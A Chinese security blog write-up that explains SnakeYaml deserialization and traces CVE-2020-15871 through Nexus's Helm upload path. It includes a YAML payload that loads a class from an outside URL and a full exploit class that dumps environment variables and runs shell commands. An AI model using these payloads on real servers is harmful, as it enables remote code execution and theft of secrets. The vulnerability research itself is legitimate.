Yaml反序列化漏洞原理与实践

admin 2024年11月24日14:34:27评论19 views字数 15704阅读52分20秒阅读模式

SnakeYaml序列化与反序列化

SnakeYaml是用来解析yaml的格式,可用于Java对象的序列化、反序列化。

此漏洞起因是错误使用了序列化方法,并且反序列化了不可信的数据,故理论上SnakeYaml的全版本都存在此问题。

常用方法:

String  dump(Object data) // 将Java对象序列化为YAML字符串。void  dump(Object data, Writer output) // 将Java对象序列化为YAML流。String  dumpAll(Iterator<? extends Object> data) // 将一系列Java对象序列化为YAML字符串。void  dumpAll(Iterator<? extends Object> data, Writer output) // 将一系列Java对象序列化为YAML流。String  dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle) // 将Java对象序列化为YAML字符串。String  dumpAsMap(Object data) // 将Java对象序列化为YAML字符串。<T> T  load(InputStream io) // 解析流中唯一的YAML文档,并生成相应的Java对象。<T> T  load(Reader io) // 解析流中唯一的YAML文档,并生成相应的Java对象。<T> T  load(String yaml) // 解析字符串中唯一的YAML文档,并生成相应的Java对象。Iterable<Object>  loadAll(InputStream yaml) // 解析流中的所有YAML文档,并生成相应的Java对象。Iterable<Object>  loadAll(Reader yaml) // 解析字符串中的所有YAML文档,并生成相应的Java对象。Iterable<Object>  loadAll(String yaml) // 解析字符串中的所有YAML文档,并生成相应的Java对象。

序列化:

package test;public class MyClass {    String value;    public MyClass(String args) {        value = args;    }    public String getValue(){        return value;    }}
@Test    public  void test() {    MyClass obj = new MyClass("this is my data");    Map<String, Object> data = new HashMap<String, Object>();    data.put("MyClass", obj);    Yaml yaml = new Yaml();    String output = yaml.dump(data);    System.out.println(output);}

结果:

MyClass: !!test.MyClass {}

!!用于强制类型转化,!!后为指定的类型,这与Fastjson@type类似,用于指定反序列化的全类名。

反序列化:

yaml文件内容

firstName: "John"lastName: "Doe"age: 20
@Test    public  void test(){        Yaml yaml = new Yaml();        InputStream resourceAsStream = this.getClass().getClassLoader().getResourceAsStream("test1.yaml");        Object load = yaml.load(resourceAsStream);        System.out.println(load);    }}

执行结果:

{firstName=John, lastName=Doe, age=20}

漏洞复现:

POC

public class main {    public static void main(String[] args) {        String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://t00ls.aee41e41.tu4.org"]]]]n";        Yaml yaml = new Yaml();        yaml.load(context);    } }

相当于执行了:

URL url = new URL("http://t00ls.aee41e41.tu4.org");URLClassLoader urlc = new URLClassLoader(new URL[]{url});ScriptEngineManager sem = new ScriptEngineManager(urlc);

Yaml反序列化漏洞原理与实践

后续的原理分析不是本文重点,想继续跟进调用链的朋友可以去读一下浅蓝(nice_0e3)的博客。

CVE-2020-15871 实践

应该有不少朋友了解甚至使用过nexus代码仓,没了解也不要紧,只要知道它是个代码仓系统即可。

下面的全部内容仅供学习,请勿用于非法测试!!!

前置工作:

关于CVE-2020-15871的披露信息:

Yaml反序列化漏洞原理与实践

关注3.25.1版本共修复了3CVE,另外2issueXSS漏洞修复,分别对应CVE-2020-15869、CVE-2020-15870

Yaml反序列化漏洞原理与实践

利用compare完成了补丁对比,10处变动(不再赘述)。

其中编号②、编号⑧、编号⑨判定为安全补丁。

编号②、编号⑧位置分别为:

org.sonatype.nexus.common.template.TemplateThrowableAdapter.class

org.sonatype.nexus.repository.httpbridge.internal.ViewServlet.class

补丁为添加StringEscapeUtils.escapeHtml(),过滤特殊字符,判定为解决XSS漏洞。

编号⑨位置:

org.sonatype.repository.helm.internal.metadata.IndexYamlAbsoluteUrlRewriterSupport.classorg/sonatype/repository/helm/internal/util/YamlParser.class

补丁如下:

Yaml反序列化漏洞原理与实践

Yaml反序列化漏洞原理与实践

追踪load外部传参data是否可控。

修复方案为在new yaml对象时调用SafeConstructor()进行过滤,再次反序列化时会抛出异常;

或者load的参数不可控。

验证: 

全部可能成功的调用链。

第一条调用链(没验,直接跳到后面):  

①YamlParser.load (is)  
public Map<String, Object> load(InputStream is) throws IOException {  checkNotNull(is);  String data = IOUtils.toString(new UnicodeReader(is));  Map<String, Object> map;  try {    Yaml yaml = new Yaml(new Constructor(), new Representer(),      new DumperOptions(), new Resolver());    map = yaml.load(data);  }  catch (YAMLException e) {    map = (Map<String, Object>) mapper.readValue(data, Map.class);  }  return map;}

data后文红体字均为参数传递)

②HelmAttributeParser.getAttributes (inputStream)  
public HelmAttributes getAttributes(final AssetKind assetKind, final InputStream inputStream) throws IOException {  switch (assetKind) {    case HELM_PACKAGE:      return getAttributesFromInputStream(inputStream);    case HELM_PROVENANCE:      return getAttributesProvenanceFromInputStream(inputStream);    default:      return new HelmAttributes();  }}...private HelmAttributes getAttributesFromInputStream(final InputStream inputStream) throws IOException {  try (InputStream is = tgzParser.getChartFromInputStream(inputStream)) {    return new HelmAttributes(yamlParser.load(is));  }}

inputStream  case:HELM_PACKAGE

③HelmProxyFacetImpl.store (content)  
protected Content store(final Context context, final Content content) throws IOException {  AssetKind assetKind = context.getAttributes().require(AssetKind.class);  switch(assetKind) {    case HELM_INDEX:      return putMetadata(INDEX_YAML, content, assetKind);    case HELM_PACKAGE:      TokenMatcher.State matcherState = helmPathUtils.matcherState(context);      return putComponent(content, helmPathUtils.filename(matcherState), assetKind);    default:      throw new IllegalStateException("Received an invalid AssetKind of type: " + assetKind.name());  }}private Content putComponent(final Content content,final String fileName,final AssetKind assetKind) throws IOException {  StorageFacet storageFacet = facet(StorageFacet.class);  try (TempBlob tempBlob = storageFacet.createTempBlob(content.openInputStream(), HASH_ALGORITHMS)) {    HelmAttributes helmAttributes = helmAttributeParser.getAttributes(assetKind, tempBlob.get());    return doCreateOrSaveComponent(helmAttributes, fileName, assetKind, tempBlob, content.getContentType(), content.getAttributes());  }}

content tempBlob.get()

④ProxyFacetSupport.get (context) 
public Content get(final Context context) throws IOException {  checkNotNull(context);  Content content = maybeGetCachedContent(context);  if (!isStale(context, content)) {    return content;  }  if (proxyCooperation == null) {    return doGet(context, content);  }  return proxyCooperation.cooperate(getRequestKey(context), failover -> {    Content latestContent = content;    if (failover) {      // re-check cache when failing over to new thread      latestContent = proxyCooperation.join(() -> maybeGetCachedContent(context));      if (!isStale(context, latestContent)) {        return latestContent;      }    }    return doGet(context, latestContent);  });}protected Content doGet(final Context context, @Nullable final Content staleContent) throws IOException {  Content remote = null, content = staleContent;  boolean nested = isDownloading();  try {    if (!nested) {      downloading.set(TRUE);    }    remote = fetch(context, content);    if (remote != null) {      content = store(context, remote);      if (proxyCooperation != null && remote.equals(content)) {        // remote wasn't stored; make reusable copy for cooperation        content = new TempContent(remote);      }    }  }

remote

⑤ProxyFacet.get (context)  

接口类

⑥ProxyHandler.handle (context)  
public Response handle(@Nonnull final Context context) throws Exception { // NOSONAR  final Response response = buildMethodNotAllowedResponse(context);  if (response != null) {    return response;  }  try {    Payload payload = proxyFacet(context).get(context);    if (payload != null) {      return buildPayloadResponse(context, payload);    }    return buildNotFoundResponse(context);  }

之后是接口类 org/sonatype/nexus/repository/view/Handler.handle

⑦Context.start (route)  
Response start(final Route route) throws Exception {  checkNotNull(route);  checkState(handlers == null, "Already started");  log.debug("Starting: {}", route);  // Copy the handler list to allow modification  this.handlers = new ArrayList<>(route.getHandlers()).listIterator();  return proceed();}public Response proceed() throws Exception {  checkState(handlers != null, "Context not started");  checkState(handlers.hasNext(), "End of handler chain");  // Invoke next handler  Handler handler = handlers.next();  try {    log.debug("Proceeding: {}", handler);    return handler.handle(this);  }  finally {    // retain handler position in-case of re-proceed    if (handlers.hasPrevious()) {      handlers.previous();    }  }}

this

⑧Router.dispatch (repository, request, existingContext)  

public Response dispatch(final Repository repository, final Request request, @Nullable final Context existingContext)throws Exception{  checkNotNull(repository);  checkNotNull(request);  logRequest(request);  // Find route and start context  Context context = maybeCopyContextAttributes(repository, request, existingContext);  Route route = findRoute(context);  Response response = context.start(route);  logResponse(response);  return response;}

context route

⑨ConfigurableViewFacet.dispatch (request)  

似乎有点奇怪,context传入了null,但dispatch需要三个参数来生成新的context,所以也没问题。

public Response dispatch(final Request request) throws Exception {  return dispatch(request, null);}public Response dispatch(final Request request, @Nullable final Context context) throws Exception {  checkState(router != null, "Router not configured");  return router.dispatch(getRepository(), request, context);}
⑩ViewServlet.service (httpRequest)  
protected void service(final HttpServletRequest httpRequest, final HttpServletResponse httpResponse)throws ServletException, IOException{  String uri = httpRequest.getRequestURI();  if (httpRequest.getQueryString() != null) {    uri = uri + "?" + httpRequest.getQueryString();  }  if (log.isDebugEnabled()) {    log.debug("Servicing: {} {} ({})", httpRequest.getMethod(), uri, httpRequest.getRequestURL());  }  MDC.put(getClass().getName(), uri);  try {    doService(httpRequest, httpResponse);    log.debug("Service completed");  }  catch (BadRequestException e) { // NOSONAR    log.warn("Bad request. Reason: {}", e.getMessage());    send(null, HttpResponses.badRequest(e.getMessage()), httpResponse);  }  catch (Exception e) {    if (!(e instanceof AuthorizationException)) {      log.warn("Failure servicing: {} {}", httpRequest.getMethod(), uri, e);    }    Throwables.propagateIfPossible(e, ServletException.class, IOException.class);    throw new ServletException(e);  }  finally {    MDC.remove(getClass().getName());  }}protected void doService(final HttpServletRequest httpRequest, final HttpServletResponse httpResponse)throws Exception{  if (sandboxEnabled) {    httpResponse.setHeader(HttpHeaders.CONTENT_SECURITY_POLICY, SANDBOX);  }  httpResponse.setHeader(HttpHeaders.X_XSS_PROTECTION, "1; mode=block");  // resolve repository for request  RepositoryPath path = RepositoryPath.parse(httpRequest.getPathInfo());  log.debug("Parsed path: {}", path);  Repository repo = repository(path.getRepositoryName());  if (repo == null) {    send(null, HttpResponses.notFound(REPOSITORY_NOT_FOUND_MESSAGE), httpResponse);    return;  }  log.debug("Repository: {}", repo);  if (!repo.getConfiguration().isOnline()) {    send(null, HttpResponses.serviceUnavailable("Repository offline"), httpResponse);    return;  }  ViewFacet facet = repo.facet(ViewFacet.class);  log.debug("Dispatching to view facet: {}", facet);  // Dispatch the request  Request request = buildRequest(httpRequest, path.getRemainingPath());  dispatchAndSend(request, facet, httpResponseSenderSelector.sender(repo), httpResponse);}void dispatchAndSend(final Request request,final ViewFacet facet,final HttpResponseSender sender,final HttpServletResponse httpResponse)throws Exception{  Response response = null;  Exception failure = null;  try {    response = facet.dispatch(request);  }  catch (Exception e) {    failure = e;  }  String describeFlags = request.getParameters().get(P_DESCRIBE);  log.trace("Describe flags: {}", describeFlags);  if (describeFlags != null) {    send(request, describe(request, response, failure, describeFlags), httpResponse);  }  else {    if (failure != null) {      throw failure;    }    log.debug("Request: {}", request);    sender.send(request, response, httpResponse);  }}
request
还是详细说一下目标系统。关于Nexus,是在一个名为JettyServlet容器中运行的一个Web服务器,默认端口为8081
Servlet容器与Web服务器交互的三个基本方法为init、service、destroy,Initdestroy函数均在此文件中有定义。

创建servlet对象时调用init并初始化config,之后就不再使用。service用来处理请求。删除某servlet对象时先调用此对象的destroy函数,之后容器在合适的时间删掉此对象。

理论上讲,servicehttpRequest是可控的,抓包重放即可修改Request。全部调用链中的12条入口均为此处。

我猜读者应该懵了一下,12条?是的,我大概找了几十条调用链,成功复现的下面这条深度大概为6的调用栈,上面这条深度10的应该也可以打成功,但是没验,有兴趣的朋友可以试一下。

这项工作也许很枯燥,但是坚持下来一定很酷!

成功的调用链(可以RCE): 

①②同上,从③开始

①          

②          

③HelmUploadHandler.handle (upload)  
public UploadResponse handle(Repository repository, ComponentUpload upload) throws IOException {  HelmHostedFacet facet = repository.facet(HelmHostedFacet.class);  StorageFacet storageFacet = repository.facet(StorageFacet.class);  PartPayload payload = upload.getAssetUploads().get(0).getPayload();  String fileName = payload.getName() != null ? payload.getName() : StringUtils.EMPTY;  AssetKind assetKind = AssetKind.getAssetKindByFileName(fileName);if (assetKind != AssetKind.HELM_PROVENANCE && assetKind != AssetKind.HELM_PACKAGE) {      throw new IllegalArgumentException("Unsupported extension. Extension must be .tgz or .tgz.prov");}  try (TempBlob tempBlob = storageFacet.createTempBlob(payload, HASH_ALGORITHMS)) {    HelmAttributes attributesFromInputStream = helmPackageParser.getAttributes(assetKind, tempBlob.get());    String extension = assetKind.getExtension();    String name = attributesFromInputStream.getName();    String version = attributesFromInputStream.getVersion();
upload  .tgz  payload  tempBlob.get()
然后经过一个接口类
④UploadManagerImpl.handle (repository, request)  
public UploadResponse handle(final Repository repository, final HttpServletRequest request) throws IOException {  checkNotNull(repository);  checkNotNull(request);  UploadHandler uploadHandler = getUploadHandler(repository);  ComponentUpload upload = create(repository, request);  logUploadDetails(upload, repository);  try {    for (ComponentUploadExtension componentUploadExtension : componentUploadExtensions) {      componentUploadExtension.validate(upload);    }    UploadResponse uploadResponse = uploadHandler.handle(repository,uploadHandler.getValidatingComponentUpload(upload).getComponentUpload());    for (ComponentUploadExtension componentUploadExtension : componentUploadExtensions) {      componentUploadExtension.apply(repository, upload, uploadResponse.getComponentIds());    }    return uploadResponse;  }  finally {    for (AssetUpload assetUpload : upload.getAssetUploads()) {      assetUpload.getPayload().close();    }  }}

经过

⑤UploadService.upload (repositoryName, request)  
public String upload(final String repositoryName, final HttpServletRequest request) throws IOException {  checkNotNull(repositoryName);  checkNotNull(request);  Repository repository = checkNotNull(repositoryManager.get(repositoryName), "Specified repository is missing");  UploadResponse uploadResponse = uploadManager.handle(repository, request);              return createSearchTerm(uploadResponse.getAssetPaths());}

repositoryName 上传接口,一看就有戏

⑥UploadResource.postComponent(repositoryName, request)  
@Timed@ExceptionMetered@Validate@POST@Path("{repositoryName}")@Consumes(MediaType.MULTIPART_FORM_DATA)@Produces(MediaType.APPLICATION_JSON)@RequiresPermissions("nexus:component:create")public Response postComponent(@PathParam("repositoryName") final String repositoryName,@Context final HttpServletRequest request)throws IOException{  try {    if (!configuration.isEnabled()) {      throw new WebApplicationException(Response.Status.NOT_FOUND);    }  Packet responseJson = new Packet(uploadService.upload(repositoryName, request));  return Response.ok().type(MediaType.TEXT_HTML_TYPE).entity(htmlWrap(objectMapper.writeValueAsString(responseJson))).build();  }  catch (Exception e) {    log.error("Unable to perform upload to repository {}", repositoryName, e);    ErrorPacket responseJson = new ErrorPacket(e.getMessage());    return Response.ok().type(MediaType.TEXT_HTML_TYPE).entity(htmlWrap(objectMapper.writeValueAsString(Arrays.asList(responseJson)))).build();  }}

POC:  

load开始,向入口看:

一、文件格式  

1、关注中标绿的位置,assetKind需要为HELM_PACKAGE
2、YgzParser声明如下,内部文件名需要为Chart.yaml

Yaml反序列化漏洞原理与实践

3、关注中标绿位置,压缩包文件后缀.tgz

二、寻找路径  

最终入口UploadResource中给出了ResourcePath

Yaml反序列化漏洞原理与实践

搜素此字段,在UploadComponent.js文件中规定:

Yaml反序列化漏洞原理与实践

客户端中的可上传点就几个。

API处,路径不对:

Yaml反序列化漏洞原理与实践

上传仓库代码处:

Yaml反序列化漏洞原理与实践

未登录无Upload入口,登录普通用户如test后(未授特殊权限),可进行上传,抓包查看路径,发现路径匹配:

Yaml反序列化漏洞原理与实践

三、漏洞利用

由一、1、,先创建helm类型的仓库(test用户默认拥有该权限)。

Yaml反序列化漏洞原理与实践

构造恶意yaml文件,并根据一、2、命名。

Yaml反序列化漏洞原理与实践

压缩后上传。

Yaml反序列化漏洞原理与实践

成功执行:

Yaml反序列化漏洞原理与实践

完整EXP参考(GitHub也有):

打环境变量、写文件。

import javax.script.ScriptEngine;import javax.script.ScriptEngineFactory;import java.io.IOException;import java.util.List;public class Poca    implements ScriptEngineFactory{    static {        try {            System.out.println("Hacked by itb");            System.out.println(System.getenv());            System.getenv().forEach( (k,v)-> System.out.println(k+" : "+v) );//          if (System.getenv("os").contains("Windows")) {//              Runtime.getRuntime().exec("calc");//          } else {                Runtime.getRuntime().exec( "touch /tmp/itb.bin" );//          }        } catch ( IOException e){            e.printStackTrace();        }    }//  public static void GetEnvStr() {//      List<>//  }    public Poca(){}    @Override    public String getEngineName() {        return null;    }    @Override    public String getEngineVersion() {        return null;    }    @Override    public List<String> getExtensions() {        return null;    }    @Override    public List<String> getMimeTypes() {        return null;    }    @Override    public List<String> getNames() {        return null;    }    @Override    public String getLanguageName() {        return null;    }    @Override    public String getLanguageVersion() {        return null;    }    @Override    public Object getParameter(String key) {        return null;    }    @Override    public String getMethodCallSyntax(String obj, String m, String... args) {        return null;    }    @Override    public String getOutputStatement(String toDisplay) {        return null;    }    @Override    public String getProgram(String... statements) {        return null;    }    @Override    public ScriptEngine getScriptEngine() {        return null;    }}

上传此class文件,并配置META-INF:

Yaml反序列化漏洞原理与实践

Yaml反序列化漏洞原理与实践

server之后上传tgzpayload)。

Yaml反序列化漏洞原理与实践

touch文件。

Yaml反序列化漏洞原理与实践

打环境变量。

Yaml反序列化漏洞原理与实践

请勿用于非法测试

原文始发于微信公众号(DigDog安全团队):Yaml反序列化漏洞原理与实践

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月24日14:34:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Yaml反序列化漏洞原理与实践https://cn-sec.com/archives/1661868.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息